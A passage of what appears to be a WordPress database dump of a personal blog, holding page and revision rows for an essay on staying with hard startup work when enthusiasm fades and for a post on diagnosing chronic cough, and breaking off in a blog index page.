to go from a rising-tide paddler to an open-water swimmer while the tide was going up, instead of wasting your time doing underwater frontflips.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s too late for any of that now, though. Now the reality of the situation is that you are naked, the tide is going out, and you’re actually a little tired from your paddling and underwater front flips. Maybe you should grit your teeth and force yourself to swim regardless. That’s what someone who really believed in the importance of this pool would do. But, it’s probably pretty tempting to wait for a moment where you don’t think anyone is looking, scurry along the beach like a pale, flabby crab, and find another rising tide to paddle around in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One interesting thing about Twitter, now that I’ve started to use it more, is that I’ve been able to watch this happen in real time, more or less. I’ve noticed quite a few people who were happy paddlers when the tide was rising in one pool suddenly pop up in a different pool, their projects (some of which they received significant amounts of money for) suddenly languishing, their team’s LinkedIns quietly updated to a new job: “VP at NewCo: April 2022-July 2022”, “PM at Microsoft: August 2022 - Present”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I see people pop up in a different pool, I don’t think they never cared about the old pool. A lot of the people I’m describing seemed to genuinely care about the issues in the old pool. Their Twitter threads and long posts were thoughtful and interesting, chock full of interesting facts and statistics. They weren’t in the old pool because they wanted to make a quick buck; they were in the old pool because they cared about the old pool.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I also think it was fun to care a lot about the old pool when the tide was rising. I think for a certain variety of person, writing big posts on Substack about an issue and then making a Tweet thread about it that gets lots of likes is super fun. I mean, hell, that describes me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also really fun to raise a lot of money, and then find people who you like, and then give them money to work on the thing you care about. You get to have conversations with them about what they’re doing, and probably you both can complain about the problem together. You can all agree that the legacy approaches to these issues suffer from some serious problems, and that it’s really a shame that the pool has been taken over by bureaucrats. As the new paddlers, you will make sure that there’s a new backstroke in town.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what I know isn’t fun is the hard, grinding work of actually putting together an organization. This is especially true if you’re looking to put together something that can survive and tackle the problems in a unique way even in a falling tide.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Organization building and careful step-by-step maneuvering is way more boring than raising money or paying people who care about the same issues you are. In a rising tide, it seems like it’s moving too slow. In a falling tide, it seems like too small of strokes for this giant ocean that suddenly looms in front of you. Either way, it’s easier to paddle and wave to the people on shore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t blame anyone for jumping into the water naked. That’s what I did with my pharma startup. But, if I may toot my own horn, I have been working very hard for the past couple years to train my open-water swimming and knit my swimsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;I have:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Written (and rewritten, and rewritten, and rewritten) patents.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Very slowly found people to work with who I can trust through intensive networking with literally everyone</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-2-94666876\">2</a>&nbsp;and searching on the 12th page of Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Struggled through 15 step FDA flowcharts to figure out how to make an electronic submission.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Personally shipped drugs across international lines and gone through the customs steps necessary to do so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Made substantial contributions in hour long meetings in which 6 people argue about a paragraph of a 60 page protocol.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Talked to a bunch of very uniformed VCs to try to raise money and still gotten ghosted. Then, after getting ghosted, put on a 7 day free trial of one of their Substacks which then asked me for $25/month to keep subscribing (ok that was just one VC but it was still absurd)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have done these things in a rising tide and a falling tide</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-3-94666876\">3</a>, and will continue to do these things. Right now, the tide is falling, but I am less naked than I was a year ago because I have done all of this. As I’m writing this on January 3, the second half of our pilot trial starts tomorrow. I’m expecting to see proposals from manufacturers by the end of this week, and I should be getting a response from the FDA about our registration soon.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A year ago, I wasn’t close to any of those things. I had just gotten my ACX grant, which I had planned to use to knit a pattern that, in retrospect, would not have survived the swim</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-4-94666876\">4</a>. I hadn’t yet pivoted to cats, raised any money, or been close to any sort of actual trial. I could have very easily spent the past year paddling and waving to bystanders, but I didn’t. I knew I wanted to actually swim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Real work on hard problems is rarely fun. It’s mostly grinding, and occasionally, when there’s a breakthrough, exhilarating. It can be fun talking about it, or writing about it, but it’s important not to mistake the fun parts for the real parts. And, if you are having fun, take some of that energy to actually work on the hard parts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is always tempting to just jump in another pool. But, that’s not the way things get fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-1-94666876\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those of you with large twitter followings, for whom 50 likes would be unimpressive, please feel free to multiply these numbers by 10 or 100 as necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-2-94666876\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And believe me, these weren’t fun conversations bitching about problems in the pharma world, of which there are many. My fun conversations are usually not particularly productive. These are boring, trust-building conversations with serious people where I convince them that I am a serious person working on a serious problem and need help. Then they connect me with people who can help me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-3-94666876\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although, to be honest, the tide hasn’t been rising in drug repurposing for like 20 years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-4-94666876\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharmacokinetic physiologically-based modeling, which I thought I could use as a virtual phase 1. As it turns out, the technology was too immature and couldn’t be extended to my use the way I thought it could.</p>\n<!-- /wp:paragraph -->','What to do when the tide is going out','','publish','closed','closed','','what-to-do-when-the-tide-is-going-out','','','2023-11-13 15:53:11','2023-11-13 15:53:11','',0,'https://trevorklee.com/?page_id=340',0,'page','',0),
(341,1,'2023-01-18 17:15:14','2023-01-18 17:15:14','<!-- wp:paragraph -->\n<p>There’s a famous quote by Warren Buffett that’s something along the lines of, “It’s only when the tide goes out that you find out who’s been swimming naked.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been thinking about this quote recently. Now, when the Prophet of Omaha said this, he was referring to businesses whose bad financials are revealed once there’s an economic downturn, which, coincidentally, happens to actually be very relevant right now. But, that’s not the way I’ve been thinking about it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there’s a real psychological truth embedded in this as well. Psychologically, when intellectual tides are raising all swimmers in a certain field, it’s easy to happily paddle away with no swimtrunks on. Raising money is easy. Getting interest and validation from your friends is easy. Every tweet about your progress gets 50 likes and 5 comments, easy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now maybe, despite all the validation, you still feel like you’re naked. You have a sense of imposter syndrome, or you have internal doubts about whether being able to paddle in a rising tide can eventually turn into you being a champion open-water swimmer, despite your tweets to the contrary. But everyone else is cheering you on, and you know of at least a couple people who are even more naked than you are, and so being naked seems like not such a big deal, at least not right now. You keep just paddling and waving, enjoying the rising tide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" alt=\"Meet The Swimming Pigs of The Bahamas\" title=\"Meet The Swimming Pigs of The Bahamas\"/></a><figcaption class=\"wp-element-caption\">If you’re unlucky, tourists will come up to you and try to pet you.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But then the tide goes out. There are fewer people cheering. Whatever limited boats were offering assistance to swimmers (possibly lending out swimsuits) seem much fewer and farther between. The water is getting colder, and cold water plus nakedness is a bad mix, especially if people can see you. Just paddling is harder, and you realize that if you actually try to become an open-water swimmer, there’s no way you can avoid showing your bare ass to the world.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what do you do? Ideally, when the tide was rising, you would have knit yourself a swimsuit, so it’d be a little less cold now. It also would have been smart to have already had a plan to go from a rising-tide paddler to an open-water swimmer while the tide was going up, instead of wasting your time doing underwater frontflips.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s too late for any of that now, though. Now the reality of the situation is that you are naked, the tide is going out, and you’re actually a little tired from your paddling and underwater front flips. Maybe you should grit your teeth and force yourself to swim regardless. That’s what someone who really believed in the importance of this pool would do. But, it’s probably pretty tempting to wait for a moment where you don’t think anyone is looking, scurry along the beach like a pale, flabby crab, and find another rising tide to paddle around in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One interesting thing about Twitter, now that I’ve started to use it more, is that I’ve been able to watch this happen in real time, more or less. I’ve noticed quite a few people who were happy paddlers when the tide was rising in one pool suddenly pop up in a different pool, their projects (some of which they received significant amounts of money for) suddenly languishing, their team’s LinkedIns quietly updated to a new job: “VP at NewCo: April 2022-July 2022”, “PM at Microsoft: August 2022 - Present”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I see people pop up in a different pool, I don’t think they never cared about the old pool. A lot of the people I’m describing seemed to genuinely care about the issues in the old pool. Their Twitter threads and long posts were thoughtful and interesting, chock full of interesting facts and statistics. They weren’t in the old pool because they wanted to make a quick buck; they were in the old pool because they cared about the old pool.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I also think it was fun to care a lot about the old pool when the tide was rising. I think for a certain variety of person, writing big posts on Substack about an issue and then making a Tweet thread about it that gets lots of likes is super fun. I mean, hell, that describes me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also really fun to raise a lot of money, and then find people who you like, and then give them money to work on the thing you care about. You get to have conversations with them about what they’re doing, and probably you both can complain about the problem together. You can all agree that the legacy approaches to these issues suffer from some serious problems, and that it’s really a shame that the pool has been taken over by bureaucrats. As the new paddlers, you will make sure that there’s a new backstroke in town.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what I know isn’t fun is the hard, grinding work of actually putting together an organization. This is especially true if you’re looking to put together something that can survive and tackle the problems in a unique way even in a falling tide.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Organization building and careful step-by-step maneuvering is way more boring than raising money or paying people who care about the same issues you are. In a rising tide, it seems like it’s moving too slow. In a falling tide, it seems like too small of strokes for this giant ocean that suddenly looms in front of you. Either way, it’s easier to paddle and wave to the people on shore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t blame anyone for jumping into the water naked. That’s what I did with my pharma startup. But, if I may toot my own horn, I have been working very hard for the past couple years to train my open-water swimming and knit my swimsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;I have:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Written (and rewritten, and rewritten, and rewritten) patents.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Very slowly found people to work with who I can trust through intensive networking with literally everyone</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-2-94666876\">2</a>&nbsp;and searching on the 12th page of Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Struggled through 15 step FDA flowcharts to figure out how to make an electronic submission.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Personally shipped drugs across international lines and gone through the customs steps necessary to do so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Made substantial contributions in hour long meetings in which 6 people argue about a paragraph of a 60 page protocol.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Talked to a bunch of very uniformed VCs to try to raise money and still gotten ghosted. Then, after getting ghosted, put on a 7 day free trial of one of their Substacks which then asked me for $25/month to keep subscribing (ok that was just one VC but it was still absurd)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have done these things in a rising tide and a falling tide</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-3-94666876\">3</a>, and will continue to do these things. Right now, the tide is falling, but I am less naked than I was a year ago because I have done all of this. As I’m writing this on January 3, the second half of our pilot trial starts tomorrow. I’m expecting to see proposals from manufacturers by the end of this week, and I should be getting a response from the FDA about our registration soon.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A year ago, I wasn’t close to any of those things. I had just gotten my ACX grant, which I had planned to use to knit a pattern that, in retrospect, would not have survived the swim</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-4-94666876\">4</a>. I hadn’t yet pivoted to cats, raised any money, or been close to any sort of actual trial. I could have very easily spent the past year paddling and waving to bystanders, but I didn’t. I knew I wanted to actually swim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Real work on hard problems is rarely fun. It’s mostly grinding, and occasionally, when there’s a breakthrough, exhilarating. It can be fun talking about it, or writing about it, but it’s important not to mistake the fun parts for the real parts. And, if you are having fun, take some of that energy to actually work on the hard parts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is always tempting to just jump in another pool. But, that’s not the way things get fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-1-94666876\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those of you with large twitter followings, for whom 50 likes would be unimpressive, please feel free to multiply these numbers by 10 or 100 as necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-2-94666876\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And believe me, these weren’t fun conversations bitching about problems in the pharma world, of which there are many. My fun conversations are usually not particularly productive. These are boring, trust-building conversations with serious people where I convince them that I am a serious person working on a serious problem and need help. Then they connect me with people who can help me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-3-94666876\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although, to be honest, the tide hasn’t been rising in drug repurposing for like 20 years, except for the people who manage to convince VCs that they are an “AI/machine learning/deep learning/bioinformatic-powered drug company” who just happen to have reached the same conclusions as the discussion section of a certain drug’s phase 1 trial report from 5 years ago. Looking at you, BioAge (although technically it’s not even drug repurposing, given that you all are literally looking at the exact same indication as Amgen).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-4-94666876\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharmacokinetic physiologically-based modeling, which I thought I could use as a virtual phase 1. As it turns out, the technology was too immature and couldn’t be extended to my use the way I thought it could.</p>\n<!-- /wp:paragraph -->','What to do when the tide is going out','','inherit','closed','closed','','340-revision-v1','','','2023-01-18 17:15:14','2023-01-18 17:15:14','',340,'https://trevorklee.com/?p=341',0,'revision','',0),
(342,1,'2023-01-18 17:16:07','2023-01-18 17:16:07','<!-- wp:paragraph -->\n<p>A friend of mine has had a cough for about 4 weeks now. It started over vacation as a serious cough and is now just a minor cough. As the caring friend I am, I’ve taken to telling her to sending her the following meme whenever she coughs, which she much appreciates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33d9fe5f-f822-4c1a-a1c6-35cee76218f3_637x733.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33d9fe5f-f822-4c1a-a1c6-35cee76218f3_637x733.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, I’ve also been urging her to fix her cough as soon as she can, not just because it’s annoying (for her and for me), but because coughing, as <a href=\"https://en.wikipedia.org/wiki/Cough\">Wikipedia reminds us</a>, can lead to fainting, vomiting, bloodshot eyes and hernias and lower rib fractures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is easier said than done, however, because there’s a variety of causes of coughs. Coughing is one of the most basic ways we have of clearing our airways, and, like any basic response, there’s a lot of possible pathways (and, unlike what Reddit tells you, most of them are not cancer). Hence, the following list of how to diagnose and treat your chronic cough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, a word before I begin. You’ll notice a couple things missing in the treatment column, mainly normal cough medicines like codeine, dextromethorphan (Robitussin), and guaifenesin (Mucinex). This is because the evidence for these in coughs is weak (guaifenesin) or nonexistent (codeine and dextromethorphan).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you do want a general purpose cough medicine,&nbsp;<em>I’d recommend a spoonful of honey</em>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seriously.&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/20618098/\">Honey trounces dextromethorphan and diphenhydramine in head-to-head cough studies</a>, and it’s delicious.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, note:&nbsp;<em>italics</em>&nbsp;are the most important part of the diagnosis. Pay more attention to that part if you’re looking to diagnose yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, final, final note: chronic cough is a cough that lasts 4 weeks or longer. If you’re coughing and it’s only been a week, you might just be sick.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b9b7ef-fad9-470e-a897-875e261b0a83_1254x996.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b9b7ef-fad9-470e-a897-875e261b0a83_1254x996.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10111119-d551-4bd0-8ffd-8d05e2f1adfd_1250x1146.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10111119-d551-4bd0-8ffd-8d05e2f1adfd_1250x1146.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8e6d698e-adc2-482d-8d48-de3de9942704_942x1222.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8e6d698e-adc2-482d-8d48-de3de9942704_942x1222.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->','Diagnosing and treating chronic cough','','publish','closed','closed','','diagnosing-and-treating-chronic-cough','','','2023-01-18 17:16:07','2023-01-18 17:16:07','',0,'https://trevorklee.com/?page_id=342',0,'page','',0),
(343,1,'2023-01-18 17:16:07','2023-01-18 17:16:07','<!-- wp:paragraph -->\n<p>A friend of mine has had a cough for about 4 weeks now. It started over vacation as a serious cough and is now just a minor cough. As the caring friend I am, I’ve taken to telling her to sending her the following meme whenever she coughs, which she much appreciates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33d9fe5f-f822-4c1a-a1c6-35cee76218f3_637x733.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33d9fe5f-f822-4c1a-a1c6-35cee76218f3_637x733.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, I’ve also been urging her to fix her cough as soon as she can, not just because it’s annoying (for her and for me), but because coughing, as <a href=\"https://en.wikipedia.org/wiki/Cough\">Wikipedia reminds us</a>, can lead to fainting, vomiting, bloodshot eyes and hernias and lower rib fractures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is easier said than done, however, because there’s a variety of causes of coughs. Coughing is one of the most basic ways we have of clearing our airways, and, like any basic response, there’s a lot of possible pathways (and, unlike what Reddit tells you, most of them are not cancer). Hence, the following list of how to diagnose and treat your chronic cough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, a word before I begin. You’ll notice a couple things missing in the treatment column, mainly normal cough medicines like codeine, dextromethorphan (Robitussin), and guaifenesin (Mucinex). This is because the evidence for these in coughs is weak (guaifenesin) or nonexistent (codeine and dextromethorphan).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you do want a general purpose cough medicine,&nbsp;<em>I’d recommend a spoonful of honey</em>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seriously.&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/20618098/\">Honey trounces dextromethorphan and diphenhydramine in head-to-head cough studies</a>, and it’s delicious.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, note:&nbsp;<em>italics</em>&nbsp;are the most important part of the diagnosis. Pay more attention to that part if you’re looking to diagnose yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, final, final note: chronic cough is a cough that lasts 4 weeks or longer. If you’re coughing and it’s only been a week, you might just be sick.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b9b7ef-fad9-470e-a897-875e261b0a83_1254x996.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b9b7ef-fad9-470e-a897-875e261b0a83_1254x996.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10111119-d551-4bd0-8ffd-8d05e2f1adfd_1250x1146.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10111119-d551-4bd0-8ffd-8d05e2f1adfd_1250x1146.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8e6d698e-adc2-482d-8d48-de3de9942704_942x1222.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8e6d698e-adc2-482d-8d48-de3de9942704_942x1222.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->','Diagnosing and treating chronic cough','','inherit','closed','closed','','342-revision-v1','','','2023-01-18 17:16:07','2023-01-18 17:16:07','',342,'https://trevorklee.com/?p=343',0,'revision','',0),
(345,1,'2023-01-18 17:22:32','2023-01-18 17:22:32','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" 